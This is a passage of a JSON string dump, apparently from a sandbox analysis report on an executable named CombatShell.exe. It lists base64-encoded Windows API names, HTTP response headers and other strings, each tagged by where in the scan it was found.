Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2V0c29ja29wdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0U3RkSGFuZGxl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0U3lzdGVtRGlyZWN0b3J5Vw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0U3lzdGVtSW5mbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0U3lzdGVtTWVudQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0U3lzdGVtTWV0cmljcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0U3lzdGVtVGltZQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0U3lzdGVtVGltZUFzRmlsZVRpbWU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0U3lzdGVtVGltZVByZWNpc2VBc0ZpbGVUaW1l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0VGVtcFBhdGhB","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0VGVtcFBhdGhX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0VGlja0NvdW50","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0VGlja0NvdW50NjQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0VGltZVpvbmVJbmZvcm1hdGlvbg==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0VG9rZW5JbmZvcm1hdGlvbg==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0VG91Y2hJbnB1dEluZm8=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0VXNlck5hbWVFeFc=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0VXNlck5hbWVX","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0VXNlclByZWZlcnJlZFVJTGFuZ3VhZ2Vz","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2V0VXNlclByb2ZpbGVEaXJlY3RvcnlX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0V2luZG93TG9uZ1B0clc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0V2luZG93TG9uZ1c=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0V2luZG93UGxhY2VtZW50","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0V2luZG93UmVjdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0V2luZG93c0RpcmVjdG9yeVc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0V2luZG93VGV4dExlbmd0aFc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2V0V2luZG93VGV4dFc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2coKCgoKCgoKCgoKCgoKCgo","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2cuLi4uLi4uLi4uLi4uLi4u","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2cvLy8vLy9nZy9nLy8vLy8vLy8vLy8vLy8vL2cvL2dnZy9nZy90dHR0dHR0dHR0dHR0dHR0Z3R0dHR0dHR0dA==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dcXFxcXFxcXFxcXFxcXFxcZ2dnZ1xcXFxcXFxcZ2dnZ2dnZ1w=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dnZygoKCgoKGdnZ2dnZ2dnZ2cwMDAwMDAwMDAwMDAwMDAwZ2dnZzBnZ2cwMDAwMDAwMDAwMDA0NDQ0NDQ0NDQ0NDQ0NDQ0Z2dnZ2dnZ2dnZ2c7Ozs7Ozs7Ozs7Ozs7Ozs7Z2dnZ2dnOzs7Ozs7Ozs7OztnZ2c7Ozc3Nzc3Nzc3Nzc3Nzc3NzdnZzc3ampqampqampqampqampqamdnampqampqampqamdnZ2dnZw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2dnZ2dnZ2dnLCwsLCwsLCwsLCwsLCwsLGdnZ2dnZ2dnZ2dnZy0tLS0tLS0tLS0tLS1nLS1nZ2dnZ2dnZ2dnZ2c=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Z2xHZXRuQ29tcHJlc3NlZFRleEltYWdl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Z2xHZXRuVGV4SW1hZ2U=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Z2xHZXRuVW5pZm9ybWR2","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"R2xvYmFsQWxsb2M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2xvYmFsRnJlZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2xvYmFsTG9jaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2xvYmFsU2l6ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R2xvYmFsVW5sb2Nr","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"R0xTTFZlcnNpb24=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SGVhcEFsbG9j","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SGVhcENvbXBhY3Q=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SGVhcEZyZWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SGVhcFJlQWxsb2M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SFRUUC8xLjEgMjAwIE9LRGF0ZTogU3VuLCAyOSBKdW4gMjAyNSAxMzo1ODoxNCBHTVRDb250ZW50LVR5cGU6IHRleHQvcGxhaW5Db250ZW50LUxlbmd0aDogMTNDb25uZWN0aW9uOiBrZWVwLWFsaXZlQ0YtUkFZOiA5NTc1ZjAwNmVjYzNlZDM3LVNKQ1Zhcnk6IE9yaWdpbmNmLWNhY2hlLXN0YXR1czogRFlOQU1JQ1NlcnZlcjogY2xvdWRmbGFyZXNlcnZlci10aW1pbmc6IGNmTDQ7ZGVzYz0iP3Byb3RvPVRDUCZydHQ9MTUxOCY=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SFRUUC8xLjEgMjAwIE9LRGF0ZTogU3VuLCAyOSBKdW4gMjAyNSAxMzo1ODoxNiBHTVRDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb25Db250ZW50LUxlbmd0aDogMzZDb25uZWN0aW9uOiBrZWVwLWFsaXZlTmVsOiB7InJlcG9ydF90byI6ImNmLW5lbCIsInN1Y2Nlc3NfZnJhY3Rpb24iOjAuMCwibWF4X2FnZSI6NjA0ODAwfUNmLUNhY2hlLVN0YXR1czogRFlOQU1JQ1JlcG9ydC1UbzogeyJncm91cCI6ImNmLW5lbCIsIm1heF9h","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SWNvblNlcnZpY2VMaWI=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"aWVtb2ppUmVndWxhcmVtb2ppRm9udCBnZW5lcmF0ZWQgYnkgSWNvTW9vbi4=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SW1tR2V0Q29tcG9zaXRpb25TdHJpbmdX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SW1tR2V0Q29udGV4dA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SW1tU2V0Q29tcG9zaXRpb25XaW5kb3c=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SW1wZXJzb25hdGVBbm9ueW1vdXNUb2tlbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SW5pdGlhbGl6ZUNyaXRpY2FsU2VjdGlvbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SW5pdGlhbGl6ZVByb2NUaHJlYWRBdHRyaWJ1dGVMaXN0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SW5pdE9uY2VCZWdpbkluaXRpYWxpemU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SW5pdE9uY2VDb21wbGV0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SW5pdE9uY2VFeGVjdXRlT25jZQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"aW9jdGxzb2NrZXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SXNJY29uaWM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SXNQcm9jZXNzRFBJQXdhcmU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"SXNXb3c2NFByb2Nlc3M=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"SXNXb3c2NFByb2Nlc3My","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"S2V5IE1vZGlmaWVycw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"S2lsbFRpbWVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TGFuZ3VhZ2UgSG90a2V5","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TGF5b3V0IEhvdGtleQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TGVhdmVDcml0aWNhbFNlY3Rpb24=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TG9hZEN1cnNvclc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TG9hZEltYWdlVw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TG9hZExpYnJhcnlB","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TG9hZExpYnJhcnlFeFc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TG9hZExpYnJhcnlX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TG9jYWxGcmVl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TG9ja0ZpbGVFeA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"bHNhcG9saWN5bG9va3Vw","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TWFwVmlld09mRmlsZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TWFwVmlydHVhbEtleUV4Vw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TWFwVmlydHVhbEtleVc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TWVzc2FnZUJveFc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TWluUnNhUHViS2V5Qml0TGVuZ3Ro","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TW9kdWxlMzJGaXJzdFc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TW9kdWxlMzJOZXh0Vw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TW92ZUZpbGVFeFc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TXVsdGlCeXRlVG9XaWRlQ2hhcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"bVdiU3ZzclBSUFBNcC5tLlBIbW9sbWlsbWJseGxvZ2xua3RLTUtLaW5IUGhhR3lkQkNvLkM=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"bmNhbHJwYzpbbHNhcG9saWN5bG9va3VwXQ==","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TnRDcmVhdGVGaWxl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TnREZXZpY2VJb0NvbnRyb2xGaWxl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TnRPcGVuRmlsZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TnRPcGVuUHJvY2Vzc1Rva2Vu","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"TnRSZWFkRmlsZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"TnRXcml0ZUZpbGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"T2xlSW5pdGlhbGl6ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"T3BhcXVlS2V5QmxvYg==","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"T3BlbkNsaXBib2FyZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"T3BlbkdMVmVyc2lvbg==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"T3BlblByb2Nlc3M=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"T3BlblByb2Nlc3NUb2tlbg==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UGVla01lc3NhZ2VX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UEZYRXhwb3J0Q2VydFN0b3Jl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UEZYSW1wb3J0Q2VydFN0b3Jl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"$55","type":"Ansi","source":"PCAP Processing","process":null,"filename":"PCAP","compromised":null,"detection_total":null,"total":null},{"value":"UG9zdE1lc3NhZ2VX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UG9zdFF1ZXVlZENvbXBsZXRpb25TdGF0dXM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UHJpdmF0ZUtleUxpZmV0aW1lU2Vjb25kcw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJpdktleUNhY2hlTWF4SXRlbXM=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJpdktleUNhY2hlUHVyZ2VJbnRlcnZhbFNlY29uZHM=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJvY2VzczMyRmlyc3Q=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJvY2VzczMyRmlyc3RX","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJvY2VzczMyTmV4dA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJvY2VzczMyTmV4dFc=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UHJvY2Vzc1Bybmc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UHJvZHVjdFZlcnNpb24=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UXVlcnlQZXJmb3JtYW5jZUNvdW50ZXI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UXVlcnlQZXJmb3JtYW5jZUZyZXF1ZW5jeQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmFpc2VFeGNlcHRpb24=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVhZENvbnNvbGVX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVhZEZpbGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVhZEZpbGVFeA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVjdmZyb20=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVkcmF3V2luZG93","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVnQ2xvc2VLZXk=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVnQ3JlYXRlS2V5RXhB","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVnQ3JlYXRlS2V5RXhX","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVnRW51bUtleUV4Vw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVnRW51bVZhbHVlVw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVnaXN0ZXJDbGFzc0V4Vw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVnaXN0ZXJDbGlwYm9hcmRGb3JtYXRX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVnaXN0ZXJEcmFnRHJvcA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVnaXN0ZXJSYXdJbnB1dERldmljZXM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVnaXN0ZXJUb3VjaFdpbmRvdw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVnaXN0ZXJXYWl0Rm9yU2luZ2xlT2JqZWN0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVnaXN0ZXJXaW5kb3dNZXNzYWdlQQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVnT3BlbktleUV4Vw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVnUXVlcnlJbmZvS2V5Vw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVnUXVlcnlWYWx1ZUV4Vw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVnU2V0VmFsdWVFeEE=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVsZWFzZUNhcHR1cmU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVsZWFzZURD","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVtb3RlU2VydmVy","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UmVtb3ZlRGlyZWN0b3J5Vw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmV2ZXJ0VG9TZWxm","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Um9PcmlnaW5hdGVFcnJvclc=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UnRsQ2FwdHVyZUNvbnRleHQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UnRsR2V0VmVyc2lvbg==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"UnRsTG9va3VwRnVuY3Rpb25FbnRyeQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UnRsTnRTdGF0dXNUb0Rvc0Vycm9y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"UnRsVmlydHVhbFVud2luZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2FmZUFycmF5UHV0RWxlbWVudA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2FmZVByb2Nlc3NTZWFyY2hNb2Rl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"U2NyZWVuVG9DbGllbnQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2VuZElucHV0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2VuZE1lc3NhZ2VX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0Q2FwdHVyZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0Q2xpcGJvYXJkRGF0YQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0Q29uc29sZUN0cmxIYW5kbGVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0Q29uc29sZU1vZGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0Q29uc29sZVRleHRBdHRyaWJ1dGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0Q3VycmVudERpcmVjdG9yeVc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0Q3Vyc29y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0Q3Vyc29yUG9z","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0RW52aXJvbm1lbnRWYXJpYWJsZVc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"U2V0RXJyb3JJbmZv","type":"Ansi","source":"Memory/File 